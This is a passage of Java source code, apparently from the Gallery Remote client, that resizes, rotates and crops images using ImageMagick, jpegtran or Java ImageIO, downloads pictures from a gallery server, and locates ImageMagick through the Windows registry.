Rectangle cropTo, int resizeJpegQuality) {\n\t\tFile r = null;\n\t\tlong start = System.currentTimeMillis();\n\n\t\tif (!GalleryFileFilter.canManipulate(filename)) {\n\t\t\treturn new File(filename);\n\t\t}\n\n\t\tif (useIM) {\n\t\t\tArrayList cmd = new ArrayList();\n\t\t\tcmd.add(imPath);\n\n\t\t\tif (filterName[UPLOAD] != null && filterName[UPLOAD].length() > 0) {\n\t\t\t\tcmd.add(\"-filter\");\n\t\t\t\tcmd.add(filterName[UPLOAD]);\n\t\t\t}\n\n\t\t\tcmd.add(filename);\n\n\t\t\tif (cropTo != null) {\n\t\t\t\tcmd.add(\"-crop\");\n\t\t\t\tcmd.add(cropTo.width + \"x\" + cropTo.height + \"+\" + cropTo.x + \"+\" + cropTo.y);\n\t\t\t}\n\n\t\t\tif (d != null) {\n\t\t\t\tcmd.add(\"-resize\");\n\t\t\t\tcmd.add(d.width + \"x\" + d.height + \">\");\n\t\t\t}\n\n\t\t\tcmd.add(\"-quality\");\n\t\t\tcmd.add(\"\" + ((resizeJpegQuality == -1)?jpegQuality:resizeJpegQuality));\n\n\t\t\tr = deterministicTempFile(\"res\"\n\t\t\t\t\t, \".\" + GalleryFileFilter.getExtension(filename), tmpDir, filename + d + cropTo);\n\t\t\ttoDelete.add(r);\n\n\t\t\tcmd.add(r.getPath());\n\n\t\t\tint exitValue = exec((String[]) cmd.toArray(new String[0]));\n\n\t\t\tif ((exitValue != 0 && !imIgnoreErrorCode) || ! r.exists()) {\n\t\t\t\tif (exitValue != -1 && ! r.exists()) {\n\t\t\t\t\t// don't kill IM if it's just an InterruptedException\n\t\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"ImageMagick doesn't seem to be working. Disabling\");\n\t\t\t\t\tstopUsingIM();\n\t\t\t\t}\n\t\t\t\tr = null;\n\t\t\t}\n\t\t}\n\n\t\tif (!useIM && r == null) {\n\t\t\tr = resizeJava(filename, d);\n\n\t\t\tif (r == null) {\n\t\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"All methods of resize failed: sending original file\");\n\t\t\t\tr = new File(filename);\n\t\t\t}\n\t\t}\n\n\t\tlong time = System.currentTimeMillis() - start;\n\t\ttotalTime += time;\n\t\ttotalIter++;\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Time: \" + time + \" - Avg: \" + (totalTime / totalIter));\n\n\t\treturn r;\n\t}\n\n\tpublic static File resizeJava(String filename, Dimension d) {\n\t\tFile r;\n\n\t\tif (!GalleryRemote._().properties.getBooleanProperty(PreferenceNames.USE_JAVA_RESIZE)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif (!GalleryRemote._().properties.getBooleanProperty(PreferenceNames.SUPPRESS_WARNING_JAVA)) {\n\t\t\tif (stopUsingJavaResize()) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}\n\n\t\ttry {\n\t\t\t// read the image\n\t\t\tImageInputStream iis = ImageIO.createImageInputStream(new File(filename));\n\n\t\t\tIterator iter = ImageIO.getImageReaders(iis);\n\t\t\tif (!iter.hasNext()) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tImageReader reader = (ImageReader)iter.next();\n\t\t\tImageReadParam param = reader.getDefaultReadParam();\n\t\t\treader.setInput(iis, true, false);\n\n\t\t\t// Java bug with thumbnails\n\t\t\t//IIOImage image = reader.readAll(0, param);\n\t\t\tBufferedImage rim = (BufferedImage) reader.readAsRenderedImage(0, param);\n\n\t\t\tiis.close();\n\t\t\treader.dispose();\n\n\t\t\t// resize the image\n\t\t\t//BufferedImage rim = (BufferedImage) image.getRenderedImage();\n\n\t\t\tDimension newD = getSizeKeepRatio(\n\t\t\t\t\tnew Dimension(rim.getWidth(), rim.getHeight()),\n\t\t\t\t\td, true);\n\n\t\t\tif (newD != null) {\n\t\t\t\tBufferedImage scaled = createResizedCopy(rim, newD.width, newD.height,\n\t\t\t\t\t\tRenderingHints.VALUE_INTERPOLATION_BICUBIC);\n\t\t\t\t//ImageObserver imageObserver = GalleryRemote._().getMainFrame();\n\t\t\t\t//ImageObserver imageObserver = null;\n\t\t\t\t//BufferedImage scaledB = new BufferedImage(scaled.getWidth(imageObserver), scaled.getHeight(imageObserver), rim.getType());\n\t\t\t\t//scaledB.getGraphics().drawImage(scaled, 0, 0, imageObserver);\n\n\t\t\t\t/*System.out.println(\"*** Original\");\n\t\t\t\tIIOMetadata metadata = image.getMetadata();\n\t\t\t\tString names[] = metadata.getMetadataFormatNames();\n\t\t\t\tfor (int i = 0; i < names.length; i++) {\n\t\t\t\tdisplayMetadata(metadata.getAsTree(names[i]));\n\t\t\t\t}\n\n\t\t\t\tNode root = metadata.getAsTree(metadata.getNativeMetadataFormatName());\n\t\t\t\tNode markerSequence = root.getFirstChild().getNextSibling();\n\t\t\t\tmarkerSequence.removeChild(markerSequence.getFirstChild().getNextSibling().getNextSibling().getNextSibling());\n\t\t\t\tmarkerSequence.removeChild(markerSequence.getLastChild());\n\t\t\t\tmarkerSequence.removeChild(markerSequence.getLastChild());\n\t\t\t\tmarkerSequence.removeChild(markerSequence.getLastChild());\n\t\t\t\tmarkerSequence.removeChild(markerSequence.getLastChild());\n\t\t\t\tmarkerSequence.removeChild(markerSequence.getLastChild());\n\t\t\t\tmarkerSequence.removeChild(markerSequence.getLastChild());\n\t\t\t\tmarkerSequence.removeChild(markerSequence.getLastChild());\n\n\t\t\t\tSystem.out.println(\"*** Modified root\");\n\t\t\t\tdisplayMetadata(root);*/\n\n\t\t\t\t//metadata.setFromTree(metadata.getNativeMetadataFormatName(), root);\n\n\t\t\t\t//System.out.println(\"*** Modified metadata\");\n\t\t\t\t//displayMetadata(metadata.getAsTree(metadata.getNativeMetadataFormatName()));\n\n\t\t\t\t// todo: despite my best efforts, I can't get the ImageIO library to keep the metadata.\n\t\t\t\tIIOImage image = new IIOImage(scaled, null, null);\n\n\t\t\t\t//image.getMetadata().mergeTree(metadata.getNativeMetadataFormatName(), root);\n\n\t\t\t\t//image.setRaster(scaledB.getRaster());\n\n\t\t\t\t//write the image\n\t\t\t\tr = deterministicTempFile(\"jres\"\n\t\t\t\t\t\t, \".\" + GalleryFileFilter.getExtension(filename), tmpDir, filename + d);\n\t\t\t\ttoDelete.add(r);\n\n\t\t\t\tImageWriter writer = ImageIO.getImageWriter(reader);\n\n\t\t\t\tif (writer == null) {\n\t\t\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"No writer to write out \" + filename +\n\t\t\t\t\t\t\t\" ImageIO probably doesn't support it. Resize aborted.\");\n\t\t\t\t\treturn new File(filename);\n\t\t\t\t}\n\n\t\t\t\tImageOutputStream ios;\n\t\t\t\ttry {\n\t\t\t\t\tr.delete();\n\t\t\t\t\tios = ImageIO.createImageOutputStream(r);\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\tthrow new IIOException(\"Can't create output stream!\", e);\n\t\t\t\t}\n\n\t\t\t\twriter.setOutput(ios);\n\t\t\t\tImageWriteParam iwp = writer.getDefaultWriteParam();\n\t\t\t\tiwp.setCompressionMode(ImageWriteParam.MODE_EXPLICIT);\n\t\t\t\tiwp.setCompressionQuality(jpegQuality / 100.0F);\n\t\t\t\t//metadata = writer.getDefaultStreamMetadata(null);\n\t\t\t\t//System.out.println(\"*** Default metadata\");\n\t\t\t\t//displayMetadata(metadata.getAsTree(metadata.getNativeMetadataFormatName()));\n\t\t\t\twriter.write(null, image, iwp);\n\n\t\t\t\t//image.getMetadata().mergeTree(metadata.getNativeMetadataFormatName(), root);\n\n\t\t\t\tios.flush();\n\t\t\t\tios.close();\n\t\t\t\twriter.dispose();\n\n\t\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Java resized \" + filename + \" to \" + r.getPath());\n\t\t\t} else {\n\t\t\t\treturn new File(filename);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\treturn new File(filename);\n\t\t}\n\n\t\treturn r;\n\t}\n\n\tpublic static File rotate(String filename, int angle, boolean flip, boolean resetExifOrientation) {\n\t\tFile r = null;\n\n\t\tif (!GalleryFileFilter.canManipulateJpeg(filename)) {\n\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"jpegtran doesn't support rotating anything but jpeg\");\n\t\t\treturn new File(filename);\n\t\t}\n\n\t\tif (useJpegtran) {\n\t\t\tFile orig = null;\n\t\t\tFile dest = null;\n\t\t\ttry {\n\t\t\t\tif (GalleryRemote.IS_MAC_OS_X) {\n\t\t\t\t\torig = new File(filename);\n\t\t\t\t\tdest = deterministicTempFile(\"tmp\"\n\t\t\t\t\t\t\t, \".\" + GalleryFileFilter.getExtension(filename), tmpDir, filename + angle + flip);\n\n\t\t\t\t\torig.renameTo(dest);\n\t\t\t\t\tfilename = dest.getPath();\n\t\t\t\t}\n\n\t\t\t\tif (flip) {\n\t\t\t\t\tr = jpegtranExec(filename, \"-flip\", \"horizontal\", false);\n\t\t\t\t\tfilename = r.getPath();\n\t\t\t\t}\n\n\t\t\t\tif (angle != 0) {\n\t\t\t\t\tr = jpegtranExec(filename, \"-rotate\", \"\" + (angle * 90), false);\n\t\t\t\t}\n\n\t\t\t\t/*if (resetExifOrientation) {\n\t\t\t\tresetExifOrientation(filename);\n\t\t\t\t}*/\n\t\t\t} finally {\n\t\t\t\tif (orig != null && dest != null) {\n\t\t\t\t\tdest.renameTo(orig);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!useJpegtran && r == null) {\n\t\t\tthrow new UnsupportedOperationException(\"jpegtran must be installed for this operation\");\n\t\t}\n\n\t\treturn r;\n\t}\n\n\tpublic static File losslessCrop(String filename, Rectangle cropTo) {\n\t\tFile r = null;\n\n\t\tif (!GalleryFileFilter.canManipulateJpeg(filename)) {\n\t\t\tthrow new UnsupportedOperationException(\"jpegtran doesn't support cropping anything but jpeg\");\n\t\t}\n\n\t\tif (useJpegtran) {\n\t\t\tFile orig = null;\n\t\t\tFile dest = null;\n\t\t\ttry {\n\t\t\t\tif (GalleryRemote.IS_MAC_OS_X) {\n\t\t\t\t\torig = new File(filename);\n\t\t\t\t\tdest = deterministicTempFile(\"tmp\"\n\t\t\t\t\t\t\t, \".\" + GalleryFileFilter.getExtension(filename), tmpDir, filename + cropTo);\n\n\t\t\t\t\torig.renameTo(dest);\n\t\t\t\t\tfilename = dest.getPath();\n\t\t\t\t}\n\n\t\t\t\tr = jpegtranExec(filename, \"-crop\", cropTo.width + \"x\" + cropTo.height + \"+\" +\n\t\t\t\t\t\tcropTo.x + \"+\" + cropTo.y, true);\n\t\t\t} finally {\n\t\t\t\tif (orig != null && dest != null) {\n\t\t\t\t\tdest.renameTo(orig);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!useJpegtran && r == null) {\n\t\t\tthrow new UnsupportedOperationException(\"jpegtran with CROP PATCH must be installed for this operation\");\n\t\t}\n\n\t\treturn r;\n\t}\n\n\tprivate static File jpegtranExec(String filename, String arg1, String arg2, boolean crop) {\n\t\tFile r;\n\t\tArrayList cmd = new ArrayList();\n\t\tcmd.add(jpegtranPath);\n\n\t\tcmd.add(\"-copy\");\n\t\tcmd.add(\"all\");\n\t\t//cmd.add(\"-debug\");\n\n\t\tcmd.add(arg1);\n\t\tcmd.add(arg2);\n\n\t\tr = deterministicTempFile(crop?\"crop\":\"rot\"\n\t\t\t\t, \".\" + GalleryFileFilter.getExtension(filename), tmpDir, filename + arg1 + arg2);\n\t\ttoDelete.add(r);\n\n\t\tcmd.add(\"-outfile\");\n\t\tcmd.add(r.getPath());\n\n\t\tcmd.add(filename);\n\n\t\tint exitValue = exec((String[]) cmd.toArray(new String[0]));\n\n\t\tif ((exitValue != 0 && !jpegtranIgnoreErrorCode) || ! r.exists()) {\n\t\t\tif (exitValue != -1 && ! r.exists()) {\n\t\t\t\t// don't kill jpegtran if it's just an InterruptedException\n\t\t\t\tif (crop) {\n\t\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"jpegtran doesn't seem to be working for cropping. Disabling\");\n\t\t\t\t\tstopUsingJpegtranCrop();\n\t\t\t\t} else {\n\t\t\t\t\tLog.log(Log.LEVEL_CRITICAL, MODULE, \"jpegtran doesn't seem to be working. Disabling\");\n\t\t\t\t\tstopUsingJpegtran();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tr = null;\n\t\t}\n\n\t\treturn r;\n\t}\n\n\tpublic static Image rotateImage(Image thumb, int angle, boolean flipped, Component c) {\n\t\tif (angle != 0 || flipped) {\n\t\t\tint width;\n\t\t\tint height;\n\t\t\tint width1;\n\t\t\tint height1;\n\n\t\t\twidth = thumb.getWidth(c);\n\t\t\theight = thumb.getHeight(c);\n\n\t\t\tif (angle % 2 == 0) {\n\t\t\t\twidth1 = width;\n\t\t\t\theight1 = height;\n\t\t\t} else {\n\t\t\t\twidth1 = height;\n\t\t\t\theight1 = width;\n\t\t\t}\n\n\t\t\tBufferedImage vImg = (BufferedImage) c.createImage(width1, height1);\n\n\t\t\tGraphics2D g = (Graphics2D) vImg.getGraphics();\n\n\t\t\tAffineTransform transform = getRotationTransform(width, height, angle, flipped);\n\n\t\t\tg.drawImage(thumb, transform, c);\n\n\t\t\tthumb = vImg;\n\t\t}\n\n\t\treturn thumb;\n\t}\n\n\tpublic static AffineTransform getRotationTransform(int width, int height, int angle, boolean flipped) {\n\t\tif (angle != 0 || flipped) {\n\t\t\tint width1;\n\t\t\tint height1;\n\n\t\t\tif (angle % 2 == 0) {\n\t\t\t\twidth1 = width;\n\t\t\t\theight1 = height;\n\t\t\t} else {\n\t\t\t\twidth1 = height;\n\t\t\t\theight1 = width;\n\t\t\t}\n\n\t\t\tAffineTransform transform = AffineTransform.getTranslateInstance(width / 2, height / 2);\n\t\t\tif (angle != 0) {\n\t\t\t\ttransform.rotate(angle * Math.PI / 2);\n\t\t\t}\n\t\t\tif (flipped) {\n\t\t\t\ttransform.scale(-1, 1);\n\t\t\t}\n\t\t\ttransform.translate(-width1 / 2 - (angle == 3 ? width - width1 : 0) + (flipped ? width - width1 : 0) * (angle == 1 ? -1 : 1),\n\t\t\t\t\t-height1 / 2 - (angle == 1 ? height - height1 : 0));\n\n\t\t\treturn transform;\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tpublic static AffineTransform createTransform(Rectangle container,\n\t\t\t\t\t\t\t\t\t\t\t\t Rectangle contentResized,\n\t\t\t\t\t\t\t\t\t\t\t\t Dimension content,\n\t\t\t\t\t\t\t\t\t\t\t\t int angle, boolean flipped) {\n\t\tdouble scale = Math.sqrt(1.0F * content.width * content.height / contentResized.width / contentResized.height);\n\n\t\tAffineTransform transform = new AffineTransform();\n\t\ttransform.translate(content.width / 2, content.height / 2);\n\n\t\tif (flipped) {\n\t\t\ttransform.scale(-scale, scale);\n\t\t} else {\n\t\t\ttransform.scale(scale, scale);\n\t\t}\n\n\t\tif (angle != 0) {\n\t\t\ttransform.rotate(-angle * Math.PI / 2);\n\t\t}\n\n\t\ttransform.translate(-container.width / 2, -container.height / 2);\n\n\t\treturn transform;\n\t}\n\n\tpublic static LocalInfo getLocalFilenameForPicture(Picture p, boolean full) {\n\t\tURL u;\n\t\tDimension d;\n\n\t\tif (!full && p.getSizeResized() == null) {\n\t\t\t// no resized version\n\t\t\treturn null;\n\t\t}\n\n\t\tif (full) {\n\t\t\tu = p.safeGetUrlFull();\n\t\t\td = p.safeGetSizeFull();\n\t\t} else {\n\t\t\tu = p.getUrlResized();\n\t\t\td = p.getSizeResized();\n\t\t}\n\n\t\tString uid = p.getUniqueId();\n\t\tString ext = p.getForceExtension();\n\n\t\tif (uid == null || ext == null) {\n\t\t\tuid = u.getPath();\n\n\t\t\tint i = uid.lastIndexOf('/');\n\t\t\tuid = uid.substring(i + 1);\n\n\t\t\ti = uid.lastIndexOf('.');\n\t\t\text = uid.substring(i + 1);\n\t\t\tuid = uid.substring(0, i);\n\t\t}\n\n\t\tString filename = uid + \".\" + ext;\n\n\t\treturn new LocalInfo(ext, filename,\n\t\t\t\tdeterministicTempFile(\"server\", \".\" + ext, tmpDir, uid + d), u, d);\n\t}\n\n\tstatic class LocalInfo {\n\t\tString ext;\n\t\tString filename;\n\t\tFile file;\n\t\tURL url;\n\t\tDimension size;\n\n\t\tpublic LocalInfo(String ext, String filename, File file, URL url, Dimension size) {\n\t\t\tthis.ext = ext;\n\t\t\tthis.filename = filename;\n\t\t\tthis.file = file;\n\t\t\tthis.url = url;\n\t\t\tthis.size = size;\n\t\t}\n\t}\n\n\tpublic static File download(Picture p, Dimension d, StatusUpdate su, CancellableTransferListener tl) {\n\t\tif (!p.isOnline()) {\n\t\t\treturn p.getSource();\n\t\t}\n\n\t\tURL pictureUrl;\n\t\tFile f;\n\t\tString filename;\n\t\tLocalInfo fullInfo = getLocalFilenameForPicture(p, true);\n\t\tboolean stop = false;\n\n\t\tif (p.getSizeResized() != null) {\n\t\t\tLocalInfo resizedInfo = getLocalFilenameForPicture(p, false);\n\n\t\t\tif ((d.width > p.getSizeResized().width || d.height > p.getSizeResized().height\n\t\t\t\t\t|| fullInfo.file.exists()) && ! GalleryRemote._().properties.getBooleanProperty(PreferenceNames.SLIDESHOW_LOWREZ)) {\n\t\t\t\tpictureUrl = fullInfo.url;\n\t\t\t\t//pictureDimension = p.getSizeFull();\n\t\t\t\tf = fullInfo.file;\n\t\t\t\tfilename = fullInfo.filename;\n\t\t\t} else {\n\t\t\t\tpictureUrl = resizedInfo.url;\n\t\t\t\t//pictureDimension = p.getSizeResized();\n\t\t\t\tf = resizedInfo.file;\n\t\t\t\tfilename = resizedInfo.filename;\n\t\t\t}\n\t\t} else {\n\t\t\tpictureUrl = fullInfo.url;\n\t\t\t//pictureDimension = p.getSizeFull();\n\t\t\tf = fullInfo.file;\n\t\t\tfilename = fullInfo.filename;\n\t\t}\n\n\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Going to download \" + pictureUrl);\n\n\t\ttry {\n\t\t\tsynchronized(p) {\n\t\t\t\t// don't download the same picture twice\n\t\t\t\tif (f.exists()) {\n\t\t\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, filename + \" already existed: no need to download it again\");\n\t\t\t\t\treturn f;\n\t\t\t\t}\n\n\t\t\t\tlong start = System.currentTimeMillis();\n\n\t\t\t\tURLConnection conn = openUrlConnection(pictureUrl, p);\n\n\t\t\t\tint size = conn.getContentLength();\n\n\t\t\t\tsu.startProgress(StatusUpdate.LEVEL_BACKGROUND, 0, size,\n\t\t\t\t\t\tGRI18n.getString(MODULE, \"down.start\", new Object[]{filename}), false);\n\n\t\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Saving \" + p + \" to \" + f.getPath());\n\n\t\t\t\tBufferedInputStream in = new BufferedInputStream(conn.getInputStream());\n\t\t\t\tBufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(f));\n\n\t\t\t\tbyte[] buffer = new byte[2048];\n\t\t\t\tint l;\n\t\t\t\tint dl = 0;\n\t\t\t\tlong t = -1;\n\t\t\t\twhile (!stop && (l = in.read(buffer)) != -1) {\n\t\t\t\t\tout.write(buffer, 0, l);\n\t\t\t\t\tdl += l;\n\n\t\t\t\t\tlong now = System.currentTimeMillis();\n\t\t\t\t\tif (t != -1 && now - t > 1000) {\n\t\t\t\t\t\tsu.updateProgressValue(StatusUpdate.LEVEL_BACKGROUND, dl);\n\t\t\t\t\t\tint speed = (int) (dl / (now - start) * 1000 / 1024);\n\t\t\t\t\t\tsu.updateProgressStatus(StatusUpdate.LEVEL_BACKGROUND,\n\t\t\t\t\t\t\t\tGRI18n.getString(MODULE, \"down.progress\",\n\t\t\t\t\t\t\t\t\t\tnew Object[]{filename, new Integer(dl / 1024), new Integer(size / 1024), new Integer(speed)}));\n\n\t\t\t\t\t\tt = now;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (t == -1) {\n\t\t\t\t\t\tt = now;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (tl != null) {\n\t\t\t\t\t\tstop = !tl.dataTransferred(dl, size, 0, p);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tin.close();\n\t\t\t\tout.flush();\n\t\t\t\tout.close();\n\n\t\t\t\tif (stop) {\n\t\t\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Stopped downloading \" + p);\n\t\t\t\t\tf.delete();\n\t\t\t\t} else {\n\t\t\t\t\tLog.log(Log.LEVEL_TRACE, MODULE, \"Downloaded \" + p + \" (\" + dl + \") in \" + ((System.currentTimeMillis() - start) / 1000) + \"s\");\n\t\t\t\t\ttoDelete.add(f);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tsu.stopProgress(StatusUpdate.LEVEL_BACKGROUND,\n\t\t\t\t\tGRI18n.getString(MODULE, \"down.end\", new Object[]{filename}));\n\t\t} catch (IOException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\tf = null;\n\n\t\t\tsu.stopProgress(StatusUpdate.LEVEL_BACKGROUND, \"Downloading \" + p + \" failed\");\n\t\t}\n\n\t\tif (stop) {\n\t\t\treturn null;\n\t\t}\n\n\t\treturn f;\n\t}\n\n\tpublic static URLConnection openUrlConnection(URL pictureUrl, Picture p) throws IOException {\n\t\tURLConnection conn = pictureUrl.openConnection();\n\t\tconn.setDefaultUseCaches(false);\n\t\t//conn.addRequestProperty(\"Connection\", \"Dont-keep-alive\");\n\t\tString userAgent = p.getAlbumOnServer().getGallery().getUserAgent();\n\t\tif (userAgent != null) {\n\t\t\tconn.setRequestProperty(\"User-Agent\", userAgent);\n\t\t}\n\t\tconn.addRequestProperty(\"Referer\", p.getAlbumOnServer().getGallery().getUrl().toString());\n//\t\tCookie[] cookies = CookieModule.listAllCookies();\n//\t\tfor (int i = 0; i < cookies.length; i++) {\n//\t\t\tconn.addRequestProperty(\"Cookie\", cookies[i].toString());\n//\t\t}\n\n\t\tconn.connect();\n\t\treturn conn;\n\t}\n\n\tpublic static Dimension getPictureDimension(Picture p) {\n\t\tif (p.isOnline()) {\n\t\t\t// can't find out size without downloading\n\t\t\treturn null;\n\t\t}\n\n\t\tImageInputStream iis;\n\t\ttry {\n\t\t\tiis = ImageIO.createImageInputStream(p.getSource());\n\n\t\t\tIterator iter = ImageIO.getImageReaders(iis);\n\t\t\tif (!iter.hasNext()) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tImageReader reader = (ImageReader)iter.next();\n\t\t\treader.setInput(iis, true, false);\n\t\t\tDimension d = new Dimension(reader.getWidth(0), reader.getHeight(0));\n\n\t\t\tiis.close();\n\t\t\treader.dispose();\n\t\t\treturn d;\n\t\t} catch (IOException e) {\n\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\treturn null;\n\t\t}\n\t}\n\n\tpublic static ArrayList importApertureSelection() {\n\t\tFile script = new File(System.getProperty(\"java.io.tmpdir\"), APERTURE_TO_GALLERY_SCPT);\n\n\t\tif (!script.exists()) {\n\t\t\t// copy the script file from our bundle to /tmp\n\t\t\tInputStream scriptResource = GalleryRemote.class.getResourceAsStream(\"/\" + APERTURE_TO_GALLERY_SCPT);\n\t\t\tif (scriptResource == null) {\n\t\t\t\ttry {\n\t\t\t\t\tscriptResource = new FileInputStream(APERTURE_TO_GALLERY_SCPT);\n\t\t\t\t} catch (FileNotFoundException e) {\n\t\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t\t}\n\n\t\t\t\tif (scriptResource == null) {\n\t\t\t\t\tLog.log(Log.LEVEL_ERROR, MODULE, \"Can't find \" + APERTURE_TO_GALLERY_SCPT);\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tBufferedReader scriptInStream = new BufferedReader(new InputStreamReader(\n\t\t\t\t\tscriptResource));\n\t\t\tBufferedWriter scriptOutStream = null;\n\n\t\t\ttry {\n\t\t\t\tString line;\n\t\t\t\tscriptOutStream = new BufferedWriter(new FileWriter(script));\n\t\t\t\twhile ((line = scriptInStream.readLine()) != null) {\n\t\t\t\t\tscriptOutStream.write(line);\n\t\t\t\t\tscriptOutStream.write(\"\\n\");\n\t\t\t\t}\n\t\t\t} catch (IOException e) {\n\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t} finally {\n\t\t\t\ttry {\n\t\t\t\t\tscriptInStream.close();\n\t\t\t\t\tif (scriptOutStream != null) {\n\t\t\t\t\t\tscriptOutStream.close();\n\t\t\t\t\t}\n\t\t\t\t} catch (IOException f) {}\n\t\t\t}\n\n\t\t\ttoDelete.add(script);\n\t\t}\n\n\t\t// run script\n\t\tif (exec(\"osascript \" + script.getAbsolutePath()) != 0) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// load results\n\t\tFile resultFile = new File(System.getProperty(\"java.io.tmpdir\"), \"ApertureToGallery.txt\");\n\n\t\tif (!resultFile.exists()) {\n\t\t\tresultFile = new File(\"/tmp/ApertureToGallery.txt\");\n\t\t}\n\t\t\n\t\tArrayList resultList = new ArrayList();\n\n\t\tif (!resultFile.exists()) {\n\t\t\treturn null;\n\t\t} else {\n\t\t\tBufferedReader resultReader = null;\n\t\t\ttry {\n\t\t\t\tresultReader = new BufferedReader(new FileReader(resultFile));\n\t\t\t\tString line = null;\n\n\t\t\t\twhile ((line = resultReader.readLine()) != null) {\n\t\t\t\t\tresultList.add(line);\n\t\t\t\t}\n\t\t\t} catch (IOException e) {\n\t\t\t\tLog.logException(Log.LEVEL_ERROR, MODULE, e);\n\t\t\t} finally {\n\t\t\t\tif (resultReader != null) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tresultReader.close();\n\t\t\t\t\t\tresultFile.delete();\n\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn resultList;\n\t}\n\n\tpublic static void addToDelete(File f) {\n\t\ttoDelete.add(f);\n\t}\n\n\tstatic {\n\t\ttmpDir = new File(System.getProperty(\"java.io.tmpdir\"), \"thumbs-\" + System.getProperty(\"user.name\"));\n\n\t\tif (!tmpDir.exists()) {\n\t\t\ttmpDir.mkdirs();\n\t\t}\n\n\t\tLog.log(Log.LEVEL_INFO, MODULE, \"tmpDir: \" + tmpDir.getPath());\n\n\t\t// Making sure ImageMagick works\n\t\ttry {\n\t\t\tPropertiesFile pt = null;\n\n\t\t\tif (new File(\"imagemagick/im.properties\").exists()) {\n\t\t\t\tpt = new PropertiesFile(\"imagemagick/im\");\n\t\t\t} else if (new File(\"im.properties\").exists()) {\n\t\t\t\tpt = new PropertiesFile(\"im\");\n\t\t\t}\n\n\t\t\tGalleryProperties p = null;\n\n\t\t\tif (pt != null) {\n\t\t\t\tpt.read();\n\n\t\t\t\t// allow overriding from main property file\n\t\t\t\tp = new GalleryProperties(pt);\n\t\t\t\tGalleryRemote._().defaults.copyProperties(p);\n\t\t\t} else {\n\t\t\t\tp = GalleryRemote._().defaults;\n\t\t\t}\n\n\t\t\tp = GalleryRemote._().properties;\n\n\t\t\tuseIM = p.getBooleanProperty(\"im.enabled\");\n\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"im.enabled: \" + useIM);\n\t\t\tif (useIM) {\n\t\t\t\timPath = p.getProperty(\"im.convertPath\");\n\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"im.convertPath: \" + imPath);\n\n\t\t\t\timIgnoreErrorCode = p.getBooleanProperty(\"im.ignoreErrorCode\", imIgnoreErrorCode);\n\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"im.ignoreErrorCode: \" + imIgnoreErrorCode);\n\n\t\t\t\tif (imPath.indexOf('/') == -1 && imPath.indexOf('\\\\') == -1) {\n\t\t\t\t\t// unqualified path, let's investigate\n\n\t\t\t\t\tif (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1) {\n\t\t\t\t\t// we're on Windows with an abbreviated path: look up IM in the registry\n\n\t\t\t\t\t\tStringBuffer output = new StringBuffer();\n\t\t\t\t\t\tint retval = exec(\"reg query HKLM\\\\Software\\\\ImageMagick\\\\Current /v BinPath\", output);\n\n\t\t\t\t\t\tif (retval == 0) {\n\t\t\t\t\t\t\tPattern pat = Pattern.compile(\"^\\\\s*BinPath\\\\s*REG_SZ\\\\s*(.*)\", Pattern.MULTILINE | Pattern.CASE_INSENSITIVE);\n\t\t\t\t\t\t\t//Pattern pat = Pattern.compile(\"BinPath\", Pattern.MULTILINE | Pattern.CASE_INSENSITIVE);\n\t\t\t\t\t\t\tMatcher m = pat.matcher(output.toString());\n\t\t\t\t\t\t\tif (m.find()) {\n\t\t\t\t\t\t\t\timPath = m.group(1) + \"\\\\\" + imPath;\n\n\t\t\t\t\t\t\t\tif (!imPath.endsWith(\".exe\")) {\n\t\t\t\t\t\t\t\t\timPath += \".exe\";\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tLog.log(Log.LEVEL_INFO, MODULE, \"Found ImageMagick in registry. imPath is now \" + imPath);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// most likely, we don't have reg.exe, try regedit.exe\n\n\t\t\t\t\t\t\tFile tempFile = File.createTempFile(\"gr_regdump\", null);\n\n\t\t\t\t\t\t\tretval = exec(\"regedit /E \\\"\" + tempFile.getPath() + \"\\\" \\\"HKEY_LOCAL_MACHINE\\\\Software\\\\ImageMagick\\\\Current\\\"\", output);\n\n\t\t\t\t\t\t\tif (retval == 0) {\n\t\t\t\t\t\t\t\tBufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(tempFile), 